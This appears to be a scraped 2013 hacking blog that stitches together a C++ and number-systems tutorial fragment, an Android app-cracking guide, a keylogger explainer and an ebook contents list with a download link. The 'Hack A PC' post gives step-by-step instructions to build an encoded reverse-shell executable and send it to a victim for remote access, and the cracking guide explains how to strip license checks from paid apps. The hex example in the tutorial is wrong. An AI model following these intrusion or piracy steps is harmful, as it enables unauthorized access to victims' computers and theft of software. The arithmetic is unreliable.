The words following the << operator are put in quotation marks(") to form a string.
When run, the string We own you is sent to the console output device. Yes, it is also called
the computer screen.
Important note: C++ is case sensitive. That means cout and Cout is not the same
thing.
2.7. Return
The second statement was:
return(0);
which causes the program to terminate sending the value 0 to the computer. The value "0"
indicates that the program terminated without error.
Note: The statements end with a semicolon (;). A semicolon in C++ indicate the end of a
statement.
3. DATA & NUMBER SYSTEMS
3.1. Decimals
The base 10 number system. Uses 10 digits: 0 to 9. Numbers raised to the zero power is
equal to one. For example: 5 to the power 0 = 1. Base ten equivalent of the number
2600 = 2 x (10 to the power 3) + 6 x (10 to the power 2)
33 = 3 x (10 to the power 1) + 3 x (10 to the power 0)
3.2. Binaries
The base 2 number system. Uses 2 digits : 0 and 1. Works the same as base 10 except we
multiply numbers by the powers of 2 instead. For example 110 is equal to 6 in base 10:
110 = 1 x (2 to the power 2) + 1 x (2 to the power 1) = 6(base10)
3.3. Hexadecimal
The base 16 number system. Uses 16 digits. 0 to 9 & "A" to "F". Works the same as base
10 & base two except the numbers are multiplied by the powers of 16 instead:
1B = 1 x (16 to the power 1) + 2(B) x (16 to the power of 0) = 30(base10)
4. EXERCISES
4.1. Running
Find & install a compiler, type the example program and run it. Pretty simple but be sure
the syntax is correct.
4.2. Typing
Make a program which displays your name without looking to this tutorial. Makes you
learn a lot better.
4.3. Converting
Convert these to decimals : 110101, 001101, 10101110
Convert these to hexadecimals : 234, 324, 19394
Convert these to binaries : 2F, 1B3, 234, 125

Tutorial to Crack any android apps ( to remove license checks, ads and create modified .APK files) fully for beginners

2013-01-24T23:03:00.003-08:00

This is a short, straight-forward tutorial so there should be no difficulties. There isn't much work involved. You will have a new one-stop place for apps, the Black Market and be able to remove license checks, ads and create modified .APK files if you please with Lucky Patcher. Lets get started.

Requirements:

1. You must have a rooted device (sorry you must do that ) if you want to be able to remove license checks and ads. With the Black Market, a good few things will be alright without root, but 70% of the things need you to have a rooted device. Check out XDA Developers on how to achieve this for your phone/tablet. It varies so I won't be covering this, sorry.

2. You have to allow the installation of non-market apps. If you are unsure how to do this, follow whats in the code box bellow:

Code:

Settings\Applications\Unknown sources
Might differ slightly depending on your phone, but it will be very similar.

3. You have to download Black Market and Lucky Patcher and install them on your device. (Obviously) I will not be providing these since they are easily available on TPB.

All set? Lets begin then!

-------------------------------------------------------------------------
Open the Black Market app and from there, you can browse through apps and games, or search for one if your looking for something in particular. Once you find what you want, click on it and you will be taken to its page where it gives the description, screenshots and package permissions. Just like the Play Market. Under the title you will see the app/game's Crack Status:

No/Not Needed: Your in business! Will worth perfectly, even without a rooted device. Silly Dev forgot to protect their apps from pricacy.

Cracked: Self-explaining really. These sometimes work but quiet often, you need to be rooted for the crack to actually function. Hit and miss.

Need to crack: Rare you will come across this but, ugh! TSF Shell and ROM Toolbox Pro are two notable ones. Luckily for us, Lucky Patcher has custom patches for these! Normally they are a nightmare to crack and will foil any attempts you make. SPB Shell 3D broke my heart and I walked away a broken man...

When using Lucky Patcher, find the app you want to crack. You will have a few options available:

Remove License Verification
Remove Google Ads
Change Permissions and Activities
Create Modified apk
Manual Patcher
Backup

Whatever you pick, there is usually a few options. Fiddle around with whatever you want, just make sure to backup the original file to be safe.

When removing the license verification, most of the time using "Auto Modes" will do the trick with no hassle, all you need to do is tap "Apply". You will be prompted letting you know that the action was sucessful, semi-sucessful or that it failed. Semi-sucessful apps can work so try them out. If not, try tweaking your options.

Every app is different so what works for most, mightn't work on a particular one. It is impossible for me to go through them so trial and error may lie ahead.

Hack A PC Using Backtrack And Fastrack

2013-01-12T21:15:00.002-08:00

Hey friends i found a latest hack or way to hack into a computer which has a windows operating system.
Ok then lets start.Here are some requirments...

1. Backtrack 5
2. IP Address of Ur Victim...
3. A Brain...

Now follow all the steps according to this post...

1. Open Fastrack by clicking on
Applications-->Backtrack-->Exploitation tools-->Network exploitation tools-->Fast-Track-->fasttrack-interactive.

2. Now after opening fastrack select the option Payload generator by typing 8 and hitting enter...

3. Now after that type 1 to select Windows Shell Reverse_TCP and hit enter...

4. Now after that type 2 to select shikata_ga_nai and hit enter...

5. Now after that enter the ip address of victim and hit enter...

6. Now you have to scan ip address to get open ports...

7. If you get any open ports then enter it like i do in image...

8. After that type 3 to select Executable and hit enter, this option will create a executable file in

directory filesystem-->pentest>exploit-->fasttrack-->payload.exe

9. Now the send executable file to victim and when the victim open this file you will be connected to computer remotely.

Note :- FOR EDUCATION PURPOSE ONLY...

What Is Hardware Keylogger l How Hardware Keylogger Works

2013-01-11T21:31:00.004-08:00

Here is what a Hardware Keylogger Looks like.:-

Hardware Keylogger is nothing but a programmed chip (Mostly in assembly Language), so as to capture all the keystrokes and save them in its internal memory. The keylogger can then be taken out and all the stored information can easily be assessed by the hacker. Hardware Keylogger are most commonly used in cyber cafe’s and other public places where a lot of people come and access the internet. Beware of such places.

Always check the keyboard connectors before accessing internet at such places. Hardware Keylogger are extremely powerful and effective and if they are actually installed on any machine and you use it, there is 99.9% chance of you getting hacked.

How can it affect you. Imagine you going to a cyber cafe and make a bank transaction just to pay your bills. No sooner you enter your login detail, the hardware keylogger will save the keystrokes. Some advance hardware keyloggers might also take screenshots at regular interval so that the hacker knows the login details are for which website or webpage.

Once the hacker has all this information in the Hardware Keylogger, imaging what all can he do when he access that information. And this is just a small example. There is much more damage one can do with a hardware keylogger.

Prevention: To secure yourself from such attack, there is only one way. Check the hardware of the computer you use at public places and even your personal computer if your friends come to your place often. Who knows who might attach the hardware keylogger in your machine.

Hacking With Experts l My First Ebook

2013-01-11T21:10:00.000-08:00

Here's My First Ebook On Hacking..!!

Contents :

What are Hackers
Hackers Hierarchy
Hacking Facebook Accounts using Tabnapping
Hacking FB Accounts using Keylogger
10 Security Enhancements
5 Reasons Why PC Crash
Delete An undeletable File
Converting Movies To Psp Format
Make Your Pc Faster
Hacking Yahoo Messenger Multi Login
Yahoo Chat Commands
How To Hack Yahoo Webcam
COPY X BOX GAMES
Hacking FB , Twitter Accounts Using Wi-Fi
Hacking PC Using Pendrives
Protect Email Accounts from Spam
How to hack Site Using RFI
How to hack Wi-Fi
Post Status To FB By Any Device
Convert Mozilla to Keylogger
Blind Sql Injection
How To Get Thousand of Twitter Followers Per Day
How To Post in all FB Group in a single click
How To Create a Trojan File in a .bat file
Make ur Videos look like Action Videos
How To hack Sites Using Havji
Mass Deface Tutorial
Hide Keyloggers in a .jpg file
Increase Internet Speed Upto 300% (Firefox Only)
“Encoadble” Shell Upload Vul.
Hack Administrator Password in Window XP
How To Play Movie in Desktop Background
How To Change ur IP
Hacking Mobile Using Bluetooth
“Image Uploader” Shell Upload Vulnerability
World Trade Centre Attack In Notepad
Make a Personal Log Book In Notepad
Test Ur Antivirus Using Notepad
Continually Pop The CD Drive
Matrix Effect In Notepad
Change The Header/Footer Of Ur Notepad File
Shut Down PC After Convening Any Message Using Notepad
Type “You Are A Fool” Continuously In Notepad
Amazing Disco Light On Your Keyboard
Creating Your Own Search Engine
Fool Ur Friends With Your Intel® Core™ i11 Processor
Secret Codes For Android Phones
PHP (Dos/DDOS) Attack Script
Make Ur PC Talk Like Jarvis Operating System
Hack To Hack Wi-Fi Using Backtrack
How To Get 1000+ Likes In Facebook
How To Hack Remote PC Using Prorat
Free Download SMS Bomber For Android Phones
How To Know Ur PC Gender
Hacking OS For Mobile Phones
Hacking Remote PC Using Extreme Rat
How To Hack IP Address Of a Remote PC
How To Send Anonymous Email
Gprs Trick For All Networks
5 Rarely known Google I’m Feeling Tricks
How To DDOS Manually
Creating A Board AKA Forum on our own PC
How To Set Wallpaper In Pen-Drive
How To Download YouTube Video
Make A Batch To Clean Ur PC, All In One..!!!
Create A FB Virus (Funny)
How To Get ur Windows Lost Password
Local File Inclusion Attack
Call Ur Friends By His Own Number
How To Make Ur Own Antivirus Using Notepad
How To Use Your Pen drive As Ram
How To Crack IDM Manually
Post Blank Status or Comment In Facebook
How To Hack Victim PC Using metasploit and Nmap
C++ Tutorial

Download From Here :
http://www.mediafire.com/view/?84i81fh61957trc